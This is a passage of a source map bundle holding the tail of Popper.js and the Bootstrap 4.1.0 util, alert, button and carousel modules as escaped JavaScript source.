 fn: hide\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right'\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define you own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: undefined\n  }\n};\n\n/**\n * The `dataObject` is an object containing all the informations used by Popper.js\n * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements.\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overriden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass as 3rd argument an object with the same\n * structure of this object, example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n  /**\n   * Popper's placement\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: function onCreate() {},\n\n  /**\n   * Callback called when the popper is updated, this callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: function onUpdate() {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js\n   * @prop {modifiers}\n   */\n  modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n  /**\n   * Create a new Popper.js instance\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as popper.\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  function Popper(reference, popper) {\n    var _this = this;\n\n    var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n    classCallCheck(this, Popper);\n\n    this.scheduleUpdate = function () {\n      return requestAnimationFrame(_this.update);\n    };\n\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = _extends({}, Popper.Defaults, options);\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: []\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n      _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n      return _extends({\n        name: name\n      }, _this.options.modifiers[name]);\n    })\n    // sort the modifiers by order\n    .sort(function (a, b) {\n      return a.order - b.order;\n    });\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(function (modifierOptions) {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    var eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n\n\n  createClass(Popper, [{\n    key: 'update',\n    value: function update$$1() {\n      return update.call(this);\n    }\n  }, {\n    key: 'destroy',\n    value: function destroy$$1() {\n      return destroy.call(this);\n    }\n  }, {\n    key: 'enableEventListeners',\n    value: function enableEventListeners$$1() {\n      return enableEventListeners.call(this);\n    }\n  }, {\n    key: 'disableEventListeners',\n    value: function disableEventListeners$$1() {\n      return disableEventListeners.call(this);\n    }\n\n    /**\n     * Schedule an update, it will run on the next UI update available\n     * @method scheduleUpdate\n     * @memberof Popper\n     */\n\n\n    /**\n     * Collection of utilities useful when writing custom modifiers.\n     * Starting from version 1.7, this method is available only if you\n     * include `popper-utils.js` before `popper.js`.\n     *\n     * **DEPRECATION**: This way to access PopperUtils is deprecated\n     * and will be removed in v2! Use the PopperUtils module directly instead.\n     * Due to the high instability of the methods contained in Utils, we can't\n     * guarantee them to follow semver. Use them at your own risk!\n     * @static\n     * @private\n     * @type {Object}\n     * @deprecated since version 1.8\n     * @member Utils\n     * @memberof Popper\n     */\n\n  }]);\n  return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\nexport default Popper;\n//# sourceMappingURL=popper.js.map\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Private TransitionEnd Helpers\n   * ------------------------------------------------------------------------\n   */\n\n  const TRANSITION_END = 'transitionend'\n  const MAX_UID = 1000000\n  const MILLISECONDS_MULTIPLIER = 1000\n\n  // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n  function toType(obj) {\n    return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n  }\n\n  function getSpecialTransitionEndEvent() {\n    return {\n      bindType: TRANSITION_END,\n      delegateType: TRANSITION_END,\n      handle(event) {\n        if ($(event.target).is(this)) {\n          return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n        }\n        return undefined // eslint-disable-line no-undefined\n      }\n    }\n  }\n\n  function transitionEndEmulator(duration) {\n    let called = false\n\n    $(this).one(Util.TRANSITION_END, () => {\n      called = true\n    })\n\n    setTimeout(() => {\n      if (!called) {\n        Util.triggerTransitionEnd(this)\n      }\n    }, duration)\n\n    return this\n  }\n\n  function setTransitionEndSupport() {\n    $.fn.emulateTransitionEnd = transitionEndEmulator\n    $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n  }\n\n  /**\n   * --------------------------------------------------------------------------\n   * Public Util Api\n   * --------------------------------------------------------------------------\n   */\n\n  const Util = {\n\n    TRANSITION_END: 'bsTransitionEnd',\n\n    getUID(prefix) {\n      do {\n        // eslint-disable-next-line no-bitwise\n        prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n      } while (document.getElementById(prefix))\n      return prefix\n    },\n\n    getSelectorFromElement(element) {\n      let selector = element.getAttribute('data-target')\n      if (!selector || selector === '#') {\n        selector = element.getAttribute('href') || ''\n      }\n\n      try {\n        const $selector = $(document).find(selector)\n        return $selector.length > 0 ? selector : null\n      } catch (err) {\n        return null\n      }\n    },\n\n    getTransitionDurationFromElement(element) {\n      if (!element) {\n        return 0\n      }\n\n      // Get transition-duration of the element\n      let transitionDuration = $(element).css('transition-duration')\n      const floatTransitionDuration = parseFloat(transitionDuration)\n\n      // Return 0 if element or transition duration is not found\n      if (!floatTransitionDuration) {\n        return 0\n      }\n\n      // If multiple durations are defined, take the first\n      transitionDuration = transitionDuration.split(',')[0]\n\n      return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n    },\n\n    reflow(element) {\n      return element.offsetHeight\n    },\n\n    triggerTransitionEnd(element) {\n      $(element).trigger(TRANSITION_END)\n    },\n\n    // TODO: Remove in v5\n    supportsTransitionEnd() {\n      return Boolean(TRANSITION_END)\n    },\n\n    isElement(obj) {\n      return (obj[0] || obj).nodeType\n    },\n\n    typeCheckConfig(componentName, config, configTypes) {\n      for (const property in configTypes) {\n        if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n          const expectedTypes = configTypes[property]\n          const value         = config[property]\n          const valueType     = value && Util.isElement(value)\n            ? 'element' : toType(value)\n\n          if (!new RegExp(expectedTypes).test(valueType)) {\n            throw new Error(\n              `${componentName.toUpperCase()}: ` +\n              `Option \"${property}\" provided type \"${valueType}\" ` +\n              `but expected type \"${expectedTypes}\".`)\n          }\n        }\n      }\n    }\n  }\n\n  setTransitionEndSupport()\n\n  return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'alert'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.alert'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Selector = {\n    DISMISS : '[data-dismiss=\"alert\"]'\n  }\n\n  const Event = {\n    CLOSE          : `close${EVENT_KEY}`,\n    CLOSED         : `closed${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    ALERT : 'alert',\n    FADE  : 'fade',\n    SHOW  : 'show'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Alert {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    close(element) {\n      element = element || this._element\n\n      const rootElement = this._getRootElement(element)\n      const customEvent = this._triggerCloseEvent(rootElement)\n\n      if (customEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._removeElement(rootElement)\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _getRootElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      let parent     = false\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      if (!parent) {\n        parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n      }\n\n      return parent\n    }\n\n    _triggerCloseEvent(element) {\n      const closeEvent = $.Event(Event.CLOSE)\n\n      $(element).trigger(closeEvent)\n      return closeEvent\n    }\n\n    _removeElement(element) {\n      $(element).removeClass(ClassName.SHOW)\n\n      if (!$(element).hasClass(ClassName.FADE)) {\n        this._destroyElement(element)\n        return\n      }\n\n      const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n      $(element)\n        .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    _destroyElement(element) {\n      $(element)\n        .detach()\n        .trigger(Event.CLOSED)\n        .remove()\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $element = $(this)\n        let data       = $element.data(DATA_KEY)\n\n        if (!data) {\n          data = new Alert(this)\n          $element.data(DATA_KEY, data)\n        }\n\n        if (config === 'close') {\n          data[config](this)\n        }\n      })\n    }\n\n    static _handleDismiss(alertInstance) {\n      return function (event) {\n        if (event) {\n          event.preventDefault()\n        }\n\n        alertInstance.close(this)\n      }\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(\n    Event.CLICK_DATA_API,\n    Selector.DISMISS,\n    Alert._handleDismiss(new Alert())\n  )\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME]             = Alert._jQueryInterface\n  $.fn[NAME].Constructor = Alert\n  $.fn[NAME].noConflict  = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Alert._jQueryInterface\n  }\n\n  return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'button'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.button'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const ClassName = {\n    ACTIVE : 'active',\n    BUTTON : 'btn',\n    FOCUS  : 'focus'\n  }\n\n  const Selector = {\n    DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n    DATA_TOGGLE        : '[data-toggle=\"buttons\"]',\n    INPUT              : 'input',\n    ACTIVE             : '.active',\n    BUTTON             : '.btn'\n  }\n\n  const Event = {\n    CLICK_DATA_API      : `click${EVENT_KEY}${DATA_API_KEY}`,\n    FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n                            `blur${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Button {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    toggle() {\n      let triggerChangeEvent = true\n      let addAriaPressed = true\n      const rootElement = $(this._element).closest(\n        Selector.DATA_TOGGLE\n      )[0]\n\n      if (rootElement) {\n        const input = $(this._element).find(Selector.INPUT)[0]\n\n        if (input) {\n          if (input.type === 'radio') {\n            if (input.checked &&\n              $(this._element).hasClass(ClassName.ACTIVE)) {\n              triggerChangeEvent = false\n            } else {\n              const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n              if (activeElement) {\n                $(activeElement).removeClass(ClassName.ACTIVE)\n              }\n            }\n          }\n\n          if (triggerChangeEvent) {\n            if (input.hasAttribute('disabled') ||\n              rootElement.hasAttribute('disabled') ||\n              input.classList.contains('disabled') ||\n              rootElement.classList.contains('disabled')) {\n              return\n            }\n            input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n            $(input).trigger('change')\n          }\n\n          input.focus()\n          addAriaPressed = false\n        }\n      }\n\n      if (addAriaPressed) {\n        this._element.setAttribute('aria-pressed',\n          !$(this._element).hasClass(ClassName.ACTIVE))\n      }\n\n      if (triggerChangeEvent) {\n        $(this._element).toggleClass(ClassName.ACTIVE)\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n\n        if (!data) {\n          data = new Button(this)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (config === 'toggle') {\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      event.preventDefault()\n\n      let button = event.target\n\n      if (!$(button).hasClass(ClassName.BUTTON)) {\n        button = $(button).closest(Selector.BUTTON)\n      }\n\n      Button._jQueryInterface.call($(button), 'toggle')\n    })\n    .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      const button = $(event.target).closest(Selector.BUTTON)[0]\n      $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Button._jQueryInterface\n  $.fn[NAME].Constructor = Button\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Button._jQueryInterface\n  }\n\n  return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                   = 'carousel'\n  const VERSION                = '4.1.0'\n  const DATA_KEY               = 'bs.carousel'\n  const EVENT_KEY              = `.${DATA_KEY}`\n  const DATA_API_KEY           = '.data-api'\n  const JQUERY_NO_CONFLICT     = $.fn[NAME]\n  const ARROW_LEFT_KEYCODE     = 37 // KeyboardEvent.which value for left arrow key\n  const ARROW_RIGHT_KEYCODE    = 39 // KeyboardEvent.which value for right arrow key\n  const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n  const Default = {\n    interval : 5000,\n    keyboard : true,\n    slide    : false,\n    pause    : 'hover',\n    wrap     : true\n  }\n\n  const DefaultType = {\n    interval : '(number|boolean)',\n    keyboard : 'boolean',\n    slide    : '(boolean|string)',\n    pause    : '(string|boolean)',\n    wrap     : 'boolean'\n  }\n\n  const Direction = {\n    NEXT     : 'next',\n    PREV     : 'prev',\n    LEFT     : 'left',\n    RIGHT    : 'right'\n  }\n\n  const Event = {\n    SLIDE          : `slide${EVENT_KEY}`,\n    SLID           : `slid${EVENT_KEY}`,\n    KEYDOWN        : `keydown${EVENT_KEY}`,\n    MOUSEENTER     : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE     : `mouseleave${EVENT_KEY}`,\n    TOUCHEND       : `touchend${EVENT_KEY}`,\n    LOAD_DATA_API  : `load${EVENT_KEY}${DATA_API_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    CAROUSEL : 'carousel',\n    ACTIVE   : 'active',\n    SLIDE    : 'slide',\n    RIGHT    : 'carousel-item-right',\n    LEFT     : 'carousel-item-left',\n    NEXT     : 'carousel-item-next',\n    PREV     : 'carousel-item-prev',\n    ITEM     : 'carousel-item'\n  }\n\n  const Selector = {\n    ACTIVE      : '.active',\n    ACTIVE_ITEM : '.active.carousel-item',\n    ITEM        : '.carousel-item',\n    NEXT_PREV   : '.carousel-item-next, .carousel-item-prev',\n    INDICATORS  : '.carousel-indicators',\n    DATA_SLIDE  : '[data-slide], [data-slide-to]',\n    DATA_RIDE   : '[data-ride=\"carousel\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Carousel {\n    constructor(element, config) {\n      this._items              = null\n      this._interval           = null\n      this._activeElement      = null\n\n      this._isPaused           = false\n      this._isSliding          = false\n\n      this.touchTimeout        = null\n\n      this._config             = this._getConfig(config)\n      this._element            = $(element)[0]\n      this._indicatorsElement  = $(this._element).find(Selector.INDICATORS)[0]\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    next() {\n      if (!this._isSliding) {\n        this._slide(Direction.NEXT)\n      }\n    }\n\n    nextWhenVisible() {\n      // Don't call next when the page isn't visible\n      // or the carousel or its parent isn't visible\n      if (!document.hidden &&\n        ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n        this.next()\n      }\n    }\n\n    prev() {\n      if (!this._isSliding) {\n        this._slide(Direction.PREV)\n      }\n    }\n\n    pause(event) {\n      if (!event) {\n        this._isPaused = true\n      }\n\n      if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n        Util.triggerTransitionEnd(this._element)\n        this.cycle(true)\n      }\n\n      clearInterval(this._interval)\n      this._interval = null\n    }\n\n    cycle(event) {\n      if (!event) {\n        this._isPaused = false\n      }\n\n      if (this._interval) {\n        clearInterval(this._interval)\n        this._interval = null\n      }\n\n      if (this._config.interval && !this._isPaused) {\n        this._interval = setInterval(\n          (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n          this._config.interval\n        )\n      }\n    }\n\n    to(index) {\n      this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n      const activeIndex = this._getItemIndex(this._activeElement)\n\n      if (index > this._items.length - 1 || index < 0) {\n        return\n      }\n\n      if (this._isSliding) {\n        $(this._element).one(Event.SLID, () => this.to(index))\n        return\n      }\n\n      if (activeIndex === index) {\n        this.pause()\n        this.cycle()\n        return\n      }\n\n      const direction = index > activeIndex\n        ? Direction.NEXT\n        : Direction.PREV\n\n      this._slide(direction, this._items[index])\n    }\n\n    dispose() {\n      $(this._element).off(EVENT_KEY)\n      $.removeData(this._element, DATA_KEY)\n\n      this._items             = null\n      this._config            = null\n      this._element           = null\n      this._interval          = null\n      this._isPaused          = null\n      this._isSliding         = null\n      this._activeElement     = null\n      this._indicatorsElement = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _addEventListeners() {\n      if (this._config.keyboard) {\n        $(this._element)\n          .on(Event.KEYDOWN, (event) => this._keydown(event))\n      }\n\n      if (this._config.pause === 'hover') {\n        $(this._element)\n          .on(Event.MOUSEENTER, (event) => this.pause(event))\n          .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n        if ('ontouchstart' in document.documentElement) {\n          // If it's a touch-enabled device, mouseenter/leave are fired as\n          // part of the mouse compatibility events on first tap - the carousel\n          // would stop cycling until user tapped out of it;\n          // here, we listen for touchend, explicitly pause the carousel\n          // (as if it's the second time we tap on it, mouseenter compat event\n          // is NOT fired) and after a timeout (to allow for mouse compatibility\n          // events to fire) we explicitly restart cycling\n          $(this._element).on(Event.TOUCHEND, () => {\n            this.pause()\n            if (this.touchTimeout) {\n              clearTimeout(this.touchTimeout)\n            }\n            this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n          })\n        }\n      }\n    }\n\n    _keydown(event) {\n      if (/input|textarea/i.test(event.target.tagName)) {\n        return\n      }\n\n      switch (event.which) {\n        case ARROW_LEFT_KEYCODE:\n          event.preventDefault()\n          this.prev()\n          break\n        case ARROW_RIGHT_KEYCODE:\n          event.preventDefault()\n          this.next()\n          break\n        default:\n      }\n    }\n\n    _getItemIndex(element) {\n      this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n      return this._items.indexOf(element)\n    }\n\n    _getItemByDirection(direction, activeElement) {\n      const isNextDirection = direction === Direction.NEXT\n      const isPrevDirection = direction === Direction.PREV\n      const activeIndex     = this._getItemIndex(activeElement)\n      const lastItemIndex   = this._items.length - 1\n      const isGoingToWrap   = isPrevDirection && activeIndex === 0 ||\n                              isNextDirection && activeIndex === lastItemIndex\n\n      if (isGoingToWrap && !this._config.wrap) {\n        return activeElement\n      }\n\n      const delta     = direction === Direction.PREV ? -1 : 1\n      const itemIndex = (activeIndex + delta) % this._items.length\n\n      return itemIndex === -1\n        ? this._items[this._items.length - 1] : this._items[itemIndex]\n    }\n\n    _triggerSlideEvent(relatedTarget, eventDirectionName) {\n      const targetIndex = this._getItemIndex(relatedTarget)\n      const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n      const slideEvent = $.Event(Event.SLIDE, {\n        relatedTarget,\n        direction: eventDirectionName,\n        from: fromIndex,\n        to: targetIndex\n      })\n\n      $(this._element).trigger(slideEvent)\n\n      return slideEvent\n    }\n\n    _setActiveIndicatorElement(element) {\n      if (this._indicatorsElement) {\n        $(this._indicatorsElement)\n          .find(Selector.ACTIVE)\n          .removeClass(ClassName.ACTIVE)\n\n        const nextIndicator = this._indicatorsElement.children[\n          this._getItemIndex(element)\n        ]\n\n        if (nextIndicator) {\n          $(nextIndicator).addClass(ClassName.ACTIVE)\n        }\n      }\n    }\n\n    _slide(direction, element) {\n      const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n      const activeElementIndex = this._getItemIndex(activeElement)\n      const nextElement   = element || activeElement &&\n        this._getItemByDirection(direction, activeElement)\n      const nextElementIndex = this._getItemIndex(nextElement)\n      const isCycling = Boolean(this._interval)\n\n      let directionalClassName\n      let orderClassName\n      let eventDirectionName\n\n      if (direction === Direction.NEXT) {\n        directionalClassName = ClassName.LEFT\n        orderClassName = ClassName.NEXT\n        eventDirectionName = Direction.LEFT\n      } else {\n        directionalClassName = ClassName.RIGHT\n        orderClassName = ClassName.PREV\n        eventDirectionName = Direction.RIGHT\n      }\n\n      if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n        this._isSliding = false\n        return\n      }\n\n      const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n      if (slideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (!activeElement || !nextElement) {\n        // Some weirdness is happening, so we bail\n        return\n      }\n\n      this._isSliding = true\n\n      if (isCycling) {\n        this.pause()\n      }\n\n      this._setActiveIndicatorElement(nextElement)\n\n      const slidEvent = $.Event(Event.SLID, {\n        relatedTarget: nextElement,\n        direction: eventDirectionName,\n        from: activeElementIndex,\n        to: nextElementIndex\n      })\n\n      if ($(this._element).hasClass(ClassName.SLIDE)) {\n        $(nextElement).addClass(orderClassName)\n\n        